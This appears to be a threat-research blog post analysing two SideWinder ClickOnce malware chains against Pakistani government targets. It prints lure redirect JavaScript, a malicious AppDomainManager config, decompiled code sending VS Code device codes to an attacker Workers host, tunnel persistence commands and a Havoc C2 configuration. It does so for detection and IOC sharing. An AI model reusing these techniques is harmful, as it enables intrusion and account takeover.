Skip to content
volrant136
All research
Threat ResearchTLP:CLEARTLP:CLEAR — Disclosure is not limited. This material may be shared publicly without restriction.

APT SideWinder ClickOnce Campaign: VS Code Tunnel Abuse and Havoc C2 via Pakistani Government Lures

How SideWinder abuses .NET ClickOnce, signed Microsoft binaries, and Cloudflare Workers to deliver VS Code tunnel backdoors and Havoc C2 against Pakistani government targets.

Published
Reading time
20 min
Analyst
@volrant136
Region
Pakistan
  • APT
  • Sidewinder
  • Malware Analysis
  • Pakistan
  • Havoc
  • Reverse Engineering
Cover Image

During my recent infrastructure threat hunts using Hunt.io (opens in a new tab), I came across multiple Pakistan related Cloudflare workers URLs. To investigate the related infrastructure, I queried Hunt.io's crawler dataset for URLs containing both -gov.pk- and workers.dev.

SQL

1SELECT
2  *
3FROM
4  crawler
5WHERE
6  url LIKE '%-gov.pk-%'
7  AND url LIKE '%workers.dev%'

The query returned six workers subdomains, including government and Adobe pages.

Image
Figure 01: Hunt.io query used to identify Pakistan-themed Cloudflare Workers URLs.

After analysis, I identified two malware delivery chains linked to APT SideWinder campaign using Pakistan-themed infrastructure. The diagram below provides an overview of both execution chains before examining each sample in detail.

ChatGPT Image Aug 22, 2026, 03 20 19 PM
Figure 02: Overview of the two execution chains, from ClickOnce delivery to VS Code Remote Tunnel abuse in the first sample and Havoc C2 deployment in the second.

Key Takeaways

  • The campaigns uses Pakistani government-themed lures (dgdp-gov, ntcweb.gov-pk).
  • The ClickOnce .application and .exe.manifest files are used to deliver the next-stage payload.
  • Both samples abuse legitimately signed Microsoft binaries as execution hosts (PerfWatson2.exe and dfsvc.exe/NGenTask).
  • Sample 1 abuses .NET AppDomainManager injection via a malicious .config file and abuses the VS Code Remote Tunnel feature as a C2 channel.
  • Sample 2 uses DLL search-order hijacking against dfsvc.exe (NGenTask) to load a custom shellcode runner that decrypts a ChaCha20-encrypted Havoc C2 demon from a file named win.ini.
  • All attacker-controlled C2 infrastructure in both samples is hosted on Cloudflare Workers (*.workers.dev), providing anonymity and allowlist bypass.

Initial Discovery

The investigation began with a Pakistani government-themed lure hosted on a Cloudflare: hxxps://mail-dgdp-gov.pk-files[.]workers[.]dev/edge

2026 07 29 21 21 06
Figure 03: Lure page source (mail-dgdp-gov.pk-files[.]workers[.]dev/edge) showing User-Agent-gated redirect to the ClickOnce URL

The dgdp-gov naming appears to imitate Pakistan's Directorate General of Defence Purchases.

The page uses JavaScript to check the victim’s browser before redirecting them to the ClickOnce application. Edge users are redirected directly, while other browsers use the microsoft-edge: protocol handler.

ClickOnce URL: hxxps://raliyac163[.]pythonanywhere[.]com/Adobe%20Acrobat%20Pro.application

Code Reference:

JavaScript

1const isEdge = ua.includes("Edg/") || ua.includes("EdgA") || ua.includes("EdgiOS");
2
3const edgeLink    = "https://raliyac163.pythonanywhere.com/Adobe%20Acrobat%20Pro.application";
4const nonEdgeLink = "microsoft-edge:https://raliyac163.pythonanywhere.com/Adobe%20Acrobat%20Pro.application";
5
6if (isEdge) {
7    window.location.replace(edgeLink);       // already in Edge → go directly
8} else {
9    window.location.href = nonEdgeLink;      // force-launch Edge via protocol handler
10}

The second lure was hosted on three different Cloudflare Workers pages targeting Pakistan Military Accounts Department (PMAD) and Khyber Pakhtunkhwa (KPT) government users.

  • hxxps://update-adobe-acrobatreader-kpt-gov.pk-uploads[.]workers[.]dev/

  • hxxps://update-adobereader-2600121-kpt-gov.pk-uploads[.]workers[.]dev/

  • hxxps://update-acrobatadobe-mail-pmad-gov.pk-uploads[.]workers[.]dev/

2026 08 13 20 25 55 kali linux 2025.2 virtualbox amd64 (fresh) [Running] Oracle VM VirtualBox
Figure 04: Lure page source (update-acrobatadobe-mail-pmad-gov.pk-uploads[.]workers[.]dev) showing User-Agent-gated redirect to the ClickOnce URL

Both pages contained identical content and followed the same delivery pattern.

ClickOnce URL: hxxps://get-acrobatreader-adobe.com-software[.]workers[.]dev/Adobe%20PDF%20Viewer.application

All attacker-owned C2 and delivery infrastructure runs on free-tier cloud services.

Sample 1: From ClickOnce to a VS Code Remote Tunnel

The ClickOnce application is hosted at: hxxps://raliyac163.pythonanywhere.com/Adobe%20Acrobat%20Pro.application.exe

The application presents itself as Adobe Acrobat Pro. Its deployment manifest points back to the same host, while the publisher certificate is issued to "Gladinet, Inc." The application also lists four dependent files that are downloaded as part of the deployment (from manifest file):

FileNature
PerfWatson2.exeGenuine, Microsoft-signed Visual Studio telemetry binary
PerfWatson2.exe.configMalicious XML — weaponizes the above
mswordpreviewer.dllCustom .NET loader (first-stage DLL)
walapi32.dllCustom Rust payload (second-stage DLL)
Image
Figure 05: ClickOne Manifest file shows four dependant files and certificate information

Abusing AppDomainManager Through a .config File

PerfWatson2.exe.config is a standard .NET runtime configuration file containing the following entries:

XML

1<configuration>
2  <runtime>
3    <appDomainManagerAssembly
4      value="mswordpreviewer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
5    <appDomainManagerType value="MsWordPreviewer" />
6  </runtime>
7</configuration>

When PerfWatson2.exe starts, the .NET runtime reads its configuration before the application's normal code executes. The malicious configuration instructs the CLR to load mswordpreviewer.dll as an AppDomainManager. This is AppDomainManager injection, distinct from classic DLL sideloading.

Analysis of Mswordpreviewer.dll: The Loader

The mswordpreviewer.dll is a small custom .NET assembly containing the MsWordPreviewer class. Its InitializeNewDomain method hides the console window and searches the current directory for files matching the pattern *32.dll.

Image
Figure 06: A view of dnSpy decompiled InitializeNewDomain method inside mswordpreviewer.dll

The DLL then execute LoadDllAndCallFunction method that locates the IsThemeBackgroundPartiallyTransparent function, executes it, and then unloads the DLL from memory.

Image
Figure 07: The LoadDllAndCallFunction function from mswordpreviewer.dll

Analysis of walapi32.dll: The Payload

walapi32.dll is a 2.6 MB native x64 DLL written in Rust. Its export table mirrors uxtheme.dll, exposing 84 legitimate Windows theming function names.

The IsThemeBackgroundPartiallyTransparent function calls sub_1800055A0 which decrypts the string PerfWatson2.exe and retrieves the current process path, extracts the executable name, and compares it against that value. If the DLL is not running inside a process named exactly PerfWatson2.exe, the malicious branch does not execute.

Image
Figure 08: IDA decompilation of the IsThemeBackgroundPartiallyTransparent export, showing internal logic and dynamically resolved function execution.

The configuration strings inside walapi32.dll are protected with a repeating-key XOR routine using a 64-byte key. The algorithm is implemented in sub_18000DFF0 (file offset 0xDFF0):

C

1v7 = key[key_offset];     // key byte at current position
2v8 = ciphertext[i];       // ciphertext byte
3output[i] = v7 ^ v8;     // XOR
Image
Figure 09: IDA Pro decompiled sub_18000DFF0 in walapi32.dll showing the XOR loop with key and ciphertext byte access

The key is stored in the .rdata section. The strings are decrypted using the following Python script:

Python

1import struct
2import sys
3 
4def load_sections(data):
5    e_lfanew     = struct.unpack_from("<I", data, 0x3C)[0]
6    coff         = e_lfanew + 4
7    opt_off      = coff + 20
8    nsec         = struct.unpack_from("<H", data, coff + 2)[0]
9    opt_hdr_size = struct.unpack_from("<H", data, coff + 16)[0]
10    image_base   = struct.unpack_from("<Q", data, opt_off + 24)[0]
11    size_of_img  = struct.unpack_from("<I", data, opt_off + 56)[0]
12    sec_off      = opt_off + opt_hdr_size
13
14    sections = []
15    for i in range(nsec):
16        e = data[sec_off + i * 40 : sec_off + i * 40 + 40]
17        name = e[:8].rstrip(b"\x00").decode(errors="replace")
18        vsize, vaddr, rawsize, rawptr = struct.unpack_from("<IIII", e, 8)
19        sections.append((name, vsize, vaddr, rawsize, rawptr))
20
21    return sections, image_base, size_of_img
22
23
24def build_virtual_image(data, sections, size_of_img):
25    """Map raw file sections into a virtual address image for correct RVA access."""
26    img = bytearray(size_of_img)
27    for name, vsize, vaddr, rawsize, rawptr in sections:
28        n = min(rawsize, vsize)
29        img[vaddr : vaddr + n] = data[rawptr : rawptr + n]
30    return img
31
32def xor_decrypt(ciphertext: bytes, key: bytes) -> bytes:
33    """Repeating-key XOR, key offset always starts at 0 per string."""
34    return bytes(c ^ key[i % len(key)] for i, c in enumerate(ciphertext))
35
36CHUNKS = [ // chunks]
37
38def main():
39    path = sys.argv[1] if len(sys.argv) > 1 else "walapi32.dll"
40
41    with open(path, "rb") as f:
42        data = f.read()
43
44    sections, image_base, size_of_img = load_sections(data)
45    img = build_virtual_image(data, sections, size_of_img)
46
47    # XOR key: 64 bytes at RVA 0x1D0058 in .rdata
48    KEY_RVA = 0x1D0058
49    key = bytes(img[KEY_RVA : KEY_RVA + 64])
50
51    print(f"[+] File:         {path}")
52    print(f"[+] Image base:   {hex(image_base)}")
53    print(f"[+] Key RVA:      {hex(KEY_RVA)}")
54    print(f"[+] Key (64 B):   {key.hex()}")
55    print(f"[+] Chunks:       {len(CHUNKS)}")
56    print()
57    print(f"{'#':<3}  {'RVA range':<28}  {'Len':>4}  Decrypted string")
58    print("-" * 90)
59
60    for idx, (start, end, label) in enumerate(CHUNKS, 1):
61        ct   = bytes(img[start:end])
62        pt   = xor_decrypt(ct, key)
63        try:
64            text = pt.decode("utf-8")
65        except UnicodeDecodeError:
66            text = pt.decode("latin-1")
67
68        print(f"{idx:<3}  [{hex(start)}-{hex(end)}]  {len(ct):>4}  {text!r}")
69        print(f"       └─ {label}")
70        print()
71
72
73if __name__ == "__main__":
74    main()

Among the recovered strings were:

Raw

https://vscode.download.prss.microsoft.com/dbazure/download/stable/ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57/vscode_cli_win32_x64_cli.zip
vscode_cli_win32_x64_cli.zip
USERPROFILE
.chrome_cache
chrome_update_new.exe
VSCODE_CLI_DATA_DIR
tunnel
user
login
--provider
microsoft
tunnel
service
install
Content-Type
application/json
content
https://weathered-cell-946d.acrobat-363.workers.dev
Error executing command
No output captured
PerfWatson2.exe
Image
Figure 10: Python script output showing all 22 decrypted strings from walapi32.dll

With the strings recovered, the payload's behavior in sub_180008110 becomes fully readable:

  • Download and Stage the VS Code CLI: The payload downloads the real, official Microsoft VS Code CLI binary from Microsoft's CDN, extracts the zip, and locates code.exe within it using a recursive directory walker (sub_180007B60).

  • Rename and Hide: The binary is copied to %USERPROFILE%\.chrome_cache\chrome_update_new.exe. The folder is then marked hidden via SetFileAttributesW(path, FILE_ATTRIBUTE_HIDDEN). The environment variable VSCODE_CLI_DATA_DIR is set to point at the same hidden folder, keeping VS Code's own runtime state concealed.

Image
Figure 11: sub_180008110: SetFileAttributesW called with attribute 2 (FILE_ATTRIBUTE_HIDDEN) on the constructed staging path
  • Trigger the tunnel login: The payload executes chrome_update_new.exe tunnel user login --provider microsoft command which starts Microsoft's OAuth device-code authentication flow for VS Code Remote Tunnels.
Image
Figure 12: sub_180008110: sub_180006E50 called with 5 arguments, matching the decrypted tokens "tunnel user login --provider microsoft"
  • Exfiltrate the Device Code in real time: sub_180006E50 spawns the process, reads stdout and stderr output in a pipe loop, and for every chunk of output calls sub_180006700.

    1. JSON-escapes the captured text (\", \\, \n, \r, \t).
    C

    1// JSON character escaping
    2sub_180006440((unsigned int)&v36, v43, v44, 92, (__int64)&unk_1801D04C0);  // escape backslash
    3sub_180006440((unsigned int)v28,  ...       34, (__int64)&unk_1801D04C2);  // escape "
    4sub_180006440((unsigned int)v27,  ...       10, (__int64)&unk_1801D04C4);  // escape \n
    5sub_180006440((unsigned int)&v33, ...       13, (__int64)&unk_1801D04C6);  // escape \r
    6sub_180006440((unsigned int)v45,  ...       9, (__int64)&unk_1801D04C8);  // escape \t
    1. Wraps it as {"content": "<escaped text>"}.
    2. POSTs it with Content-Type: application/json to hxxps://weathered-cell-946d.acrobat-363.workers.dev
    C

    1// decrypt the Workers URL
    2v36 = (void **)&unk_1801D0465;
    3*(_QWORD *)&v37 = &unk_1801D0498;
    4*((_QWORD *)&v37 + 1) = &unk_1801D0058;
    5v38 = 64i64;
    6...
    7// call decrypts the Workers URL
    8sub_18000DFF0(v28, (__int64)&v36);  
    9// actual HTTP send
    10// a1=output,v22=request struct, v21=args 
    11sub_18001F900(a1, v22, v21);   

Note: The attacker can retrieve the device-code information from the Workers endpoint and use it to complete the authentication flow within the code's validity period.

  • Install as a persistent service: After authentication, the payload runs chrome_update_new.exe tunnel service install which installs the VS Code tunnel as a Windows service (persistence).
Image
Figure 13: sub_180008110: second sub_180006E50 call with 3 arguments for tunnel service install, registering the tunnel as a Windows service

The use of VS Code Remote Tunnels as a C2 channel means all C2 traffic goes to *.vscode.dev and *.microsoft.com, legitimate Microsoft endpoints that will almost never be blocked by enterprise security controls.

Sample 2: From ClickOnce Delivery to a Havoc C2 Implant

The second sample starts with the same general delivery mechanism but uses a completely different execution chain.

The ClickOnce application is hosted at: hxxps://get-acrobatreader-adobe.com-software[.]workers[.]dev/Adobe%20PDF%20Viewer.application

The manifest Adobe PDF Viewer.exe.manifest declares three dependent files:

FileSizeNature
dfsvc.exe79,840 bytesGenuine Microsoft NGenTask.exe (renamed)
mscorsvc.dll6,656 bytesFake — custom shellcode loader
win.ini105,471 bytesChaCha20-encrypted Havoc demon
Image
Figure 14: ClickOne Manifest file shows three dependant files and certificate information

Analysis of mscorsvc.dll: The Shellcode Loader

When dfsvc.exe (NGenTask) runs and calls CorInitSvcLogger via P/Invoke, Windows DLL search order loads the attacker's fake mscorsvc.dll from the working directory instead of the real system DLL (Internal Name: noindsysdll.dll)

The mscorsvc.dll exports one function CorInitSvcLogger.

Image
Image
Figure 15: CorInitSvcLogger entry point: PEB walk to resolve kernel32, Sleep(10000) anti-sandbox delay, KUSER_SHARED_DATA timing check, and conditional jump to payload body sub_1800019D0

The loader resolves Windows APIs dynamically by walking the Process Environment Block (PEB) and matching CRC32 hashes.

C

1Flink = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink;
2while (1) {
3    // hash the module's BaseDllName
4    if (CRC32(module_name) == target_hash)
5        return module_base;
6    Flink = Flink->Flink;
7}

The DLL performs two checks in sub_180001950. It sleeps for ten seconds using Sleep(10000); and then compares timing information obtained through GetTickCount() with the value derived from KUSER_SHARED_DATA. If the difference exceeds the expected threshold, the environment is treated as suspicious and execution stops.

Image
Figure 16: IDA Pro decompiled sub_180001950 in mscorsvc.dll showing Sleep(10000) call and KUSER_SHARED_DATA timing comparison

The sub_1800019D0 builds the path to win.ini by reading the current process image path directly from the PEB. The entire 105,471-byte blob is then read into memory using CreateFileWGetFileSizeVirtualAllocReadFile.

Image
Image
Figure 17: IDA Pro decompiled sub_1800019D0 in mscorsvc.dll showing PEB image path read, win.ini path construction, and VirtualAlloc/ReadFile sequence

Decryption of win.ini Payload

The sub_180001000 in mscorsvc.dll contains an implementation of ChaCha20. The presence of the constant expand 32-byte k immediately points to the standard ChaCha20 state initialization.

Image
Figure 18: IDA Pro decompiled sub_180001000 in mscorsvc.dll showing strcpy of "expand 32-byte k" and key/nonce loading

The sub_180001240 is the ChaCha20 block function which runs 10 iterations of the double-round, using __ROR4__ with the standard rotation constants (16, 12, 8, 7), operating on a 4×4 matrix of 32-bit words, with an SSE2-accelerated final addition.

C

1v55 = 10;
2do {
3    // column rounds
4    v48 = __ROR4__(v10 ^ (v6 + state[0]), 16);
5    // ... diagonal rounds ...
6    --v55;
7} while (v55);
8(Salsa20/ChaCha20 finalization)
9v33 = _mm_add_epi32(_mm_loadu_si128(a1), v40);
Image
Figure 19: IDA Pro decompiled sub_180001240 in mscorsvc.dll showing the double-round loop with __ROR4__ rotation constants and _mm_add_epi32 finalization

The key and nonce are embedded in the .rdata section of mscorsvc.dll:

ParameterLocation (RVA)Value
Key (32 bytes)0x2000 (symbol: byte_180002000)63db5c3525587be3f1acf9577962b3a9 2dcda716d4c01eedd20a6fd229a8f15e
Nonce (12 bytes)0x2020 (symbol: byte_180002020)7a8e099dfe28477d758e72ee
Counterhardcoded0

Decryption with the following Python script:

Python

1import struct
2
3def rotate_left(v, n):
4    return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF
5
6def quarter_round(a, b, c, d):
7    a = (a + b) & 0xFFFFFFFF; d ^= a; d = rotate_left(d, 16)
8    c = (c + d) & 0xFFFFFFFF; b ^= c; b = rotate_left(b, 12)
9    a = (a + b) & 0xFFFFFFFF; d ^= a; d = rotate_left(d,  8)
10    c = (c + d) & 0xFFFFFFFF; b ^= c; b = rotate_left(b,  7)
11    return a, b, c, d
12
13def chacha20_block(key, nonce, counter):
14    # state layout: [constant(4)] [key(8)] [counter(1)] [nonce(3)]
15    const       = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
16    key_words   = list(struct.unpack('<8I', key))
17    nonce_words = list(struct.unpack('<3I', nonce))
18    state       = const + key_words + [counter] + nonce_words  # 16 words
19
20    w = state[:]  # working copy
21
22    for _ in range(10):  # 10 double-rounds
23        # column rounds
24        w[0],w[4],w[8], w[12] = quarter_round(w[0],w[4],w[8], w[12])
25        w[1],w[5],w[9], w[13] = quarter_round(w[1],w[5],w[9], w[13])
26        w[2],w[6],w[10],w[14] = quarter_round(w[2],w[6],w[10],w[14])
27        w[3],w[7],w[11],w[15] = quarter_round(w[3],w[7],w[11],w[15])
28        # diagonal rounds
29        w[0],w[5],w[10],w[15] = quarter_round(w[0],w[5],w[10],w[15])
30        w[1],w[6],w[11],w[12] = quarter_round(w[1],w[6],w[11],w[12])
31        w[2],w[7],w[8], w[13] = quarter_round(w[2],w[7],w[8], w[13])
32        w[3],w[4],w[9], w[14] = quarter_round(w[3],w[4],w[9], w[14])
33
34    # add working state back to original state (ChaCha20 finalisation)
35    output = [(w[i] + state[i]) & 0xFFFFFFFF for i in range(16)]
36    return struct.pack('<16I', *output)
37
38def chacha20_decrypt(ciphertext, key, nonce):
39    """XOR ciphertext with ChaCha20 keystream, counter starting at 0."""
40    out = bytearray()
41    for i in range(0, len(ciphertext), 64):
42        block = chacha20_block(key, nonce, counter=i // 64)
43        chunk = ciphertext[i : i + 64]
44        out  += bytes(a ^ b for a, b in zip(chunk, block))
45    return bytes(out)
46
47KEY   = bytes.fromhex("63db5c3525587be3f1acf9577962b3a9"
48                      "2dcda716d4c01eedd20a6fd229a8f15e")
49NONCE = bytes.fromhex("7a8e099dfe28477d758e72ee")
50
51with open("win.ini", "rb") as f:
52    ciphertext = f.read()
53
54print(f"[+] Read {len(ciphertext):,} bytes from win.ini")
55
56plaintext = chacha20_decrypt(ciphertext, KEY, NONCE)
57
58with open("win.ini.decrypted", "wb") as f:
59    f.write(plaintext)
60
61print(f"[+] Decrypted {len(plaintext):,} bytes → win.ini.decrypted")
62print(f"[+] First 4 bytes: {plaintext[:4].hex()}  (MZ header expected at offset 954)")

After decryption, entropy drops from 7.998 to 6.17.

Image
Figure 20: Successfully Decrypted via python script

Analysis of Havoc Demon Implant

The Havoc demon configuration is embedded as wide strings (UTF-16LE) in the PE's .rdata section.

Image
Figure 21: The strings retrieved from the decrypted win.ini payload.

The embedded PE is a Havoc C2 framework demon, identified by the string demon.x64.dll and the export DllMain visible in the decrypted binary's string table:

  • C2: Themed as the National Telecommunication Corporation of Pakistan.

    mail-ntcweb[.]gov-pk-6c8[.]workers[.]dev

  • Traffic disguise: All C2 communication masquerades as Microsoft Teams traffic.

    header

    Host: teams.microsoft.com
    User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36
              (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.360
  • C2 URI paths (Havoc HTTP listener): All paths mimic Microsoft Exchange Web Access (OWA) and OAuth 2.0 authentication endpoints, designed to appear as legitimate Microsoft 365 traffic in proxy or SIEM logs.

    HTTP

    1/owa/open/inbox
    2/OWA/outlook/mails
    3/Accounts/Authenticationid=234rtgt543d
    4/Login/country/us
    5/mailbox/document/preview
    6/oauth20/authentication/session=1
    7/email/client_id=52SoI7ztmVIDxmZsgUk0b9wY7iQRWFU
    8/cdn/user/cobrandid=ZkF5ZWg3Lb8lIIxaduL7cp
    9/cflname=w0cBERWOuOtteSAA
  • Injection targets:

    Raw

    C:\Windows\System32\notepad.exe
    C:\Windows\SysWOW64\notepad.exe

After decryption, the sub_1800019D0 changes the memory protection to executable and starts a thread at the beginning of the shellcode. The reflective loader then maps the embedded Havoc PE into memory.

Attribution to APT SideWinder

The activity analyzed in this research shows several overlaps with SideWinder tradecraft.

In October 2025, Trellix published research on SideWinder's ClickOnce campaign (opens in a new tab) documenting the use of fake Adobe Reader lures and ClickOnce applications. The campaign also targeted organizations in Pakistan and other South Asian countries.

A more recent report (opens in a new tab), published by 360 Threat Intelligence Centre describes a similar ClickOnce-based delivery chain involving decoy PDF documents and the download of malicious application components.

In addition to the ClickOnce overlap, the Pakistan-focused themes, repeated use of workers.dev infrastructure, and abuse of legitimate binaries through DLL sideloading provide further context for the suspected SideWinder attribution.

Recommendations

  • Monitor ClickOnce files: Investigate suspicious .application and .exe.manifest files downloaded from workers.dev domains.

  • Hunt for PerfWatson2.exe abuse: Flag PerfWatson2.exe running alongside an unexpected .config file, mswordpreviewer.dll, or walapi32.dll.

  • Detect dfsvc.exe DLL hijacking: Investigate dfsvc.exe loading mscorsvc.dll from its local directory, especially when the executable is a renamed copy of NGenTask.exe.

  • Inspect suspicious win.ini files: Flag high-entropy or unusually large win.ini files accessed by mscorsvc.dll, as the sample uses it to store a ChaCha20-encrypted payload.

  • Monitor VS Code Tunnel commands: Investigate executions containing tunnel user login --provider microsoft or tunnel service install, especially when the VS Code CLI is renamed to chrome_update_new.exe.

  • Hunt related infrastructure: Monitor connections to suspicious workers.dev subdomains using Adobe or Pakistan government-themed naming patterns.

Conclusion

This investigation began with an infrastructure hunt using Hunt.io, which led to the discovery of two distinct ClickOnce-based malware delivery chains.

During investigation, I used IDA Pro, dnspy and Python to analyze the payloads and reconstruct their execution flow. The attacks highlights ClickOnce delivery, Adobe and Pakistan-themed infrastructure, the use of legitimate Microsoft binaries, DLL sideloading, and repeated use of workers.dev infrastructure.

The similarities to previously reported SideWinder activity, these overlaps support a suspected attribution to SideWinder.

Organizations should block the identified IOCs and monitor for suspicious ClickOnce deployments in their infrastructure.

Indicators of Compromise

Network

IndicatorRole
mail-dgdp-gov[.]pk-files[.]workers[.]dev
update-adobe-acrobatreader-kpt-gov.pk-uploads[.]workers[.]dev
update-adobereader-2600121-kpt-gov.pk-uploads[.]workers[.]dev
update-acrobatadobe-mail-pmad-gov.pk-uploads[.]workers[.]devLure page (Edge redirect)
raliyac163[.]pythonanywhere[.]comClickOnce delivery host
weathered-cell-946d[.]acrobat-363[.]workers[.]devC2 / device-code exfiltration
vscode[.]download[.]prss[.]microsoft[.]comVS Code CLI CDN (legitimate)
get-acrobatreader-adobe[.]com-software[.]workers[.]devClickOnce delivery host
mail-ntcweb[.]gov-pk-6c8[.]workers.devHavoc C2 listener

Files

FilenameSHA-256
Adobe Acrobat Pro.applicationa0854405581b76fb2fe17263c9dc1c64685113eea90f614ada3c7235e3f84f15
Adobe Acrobat Pro.exe.manifest8a0f37ce7ca83e9fc991ce0baeb7e25a765b4788ad48e430fe4fdb87c03594af
PerfWatson2.exee5348d590e30b53a132a1d01a082d8ad9af13b833fb1bad8ecf4b1d78a802e15
mswordpreviewer.dll4ef00fd5f3011739274b049724458f44f04953a6d8324a96bfb0e7aa32362bd0
walapi32.dlle982c23c0850d9dccef3d1cdb3256eaf3b5c33ddcb7b047e93f5fd45bea1f6a7
Adobe PDF Viewer.applicationa0854405581b76fb2fe17263c9dc1c64685113eea90f614ada3c7235e3f84f15
Adobe PDF Viewer.exe.manifest8a0f37ce7ca83e9fc991ce0baeb7e25a765b4788ad48e430fe4fdb87c03594af
dfsvc.exe63e0c69d9761745f85f3a744297e1d2ce3eec79d4f0f97b000e9f5aa915d161c
mscorsvc.dllc200be5f23f7365be965a6e34b2c43c19d891aa470379ea07ef39b02db28377b
win.ini (encrypted)8628d4b8297bedf02744100f2df3fb5ab43535912789f85ba9a78232e30b2dcf
win.ini (decrypted)c1099c876670f36f75ec01d2c1b7984022fc24f53e60ba9347f6c7bd2fa501e4
Embedded Havoc demon PE0d87ad58720c46dcf16c1b524991acbec15ff1f5dfefa14780ea4e706a5b7920

Key artifacts

ArtifactValue
XOR key (walapi32.dll, RVA 0x1D0058)5eaed1a54ace8e48d1df593ad8734fab e6380cc96ef4c2143d3c853044ce0c50
Staged binary path%USERPROFILE%\.chrome_cache\chrome_update_new.exe
Publisher certGladinet, Inc.
ChaCha20 key63db5c3525587be3f1acf9577962b3a9 2dcda716d4c01eedd20a6fd229a8f15e
ChaCha20 nonce7a8e099dfe28477d758e72ee
Internal DLL namenoindsysdll.dll
Injection targetsC:\Windows\System32\notepad.exe C:\Windows\SysWOW64\notepad.exe

Share

X(opens in a new tab)

Published by @volrant136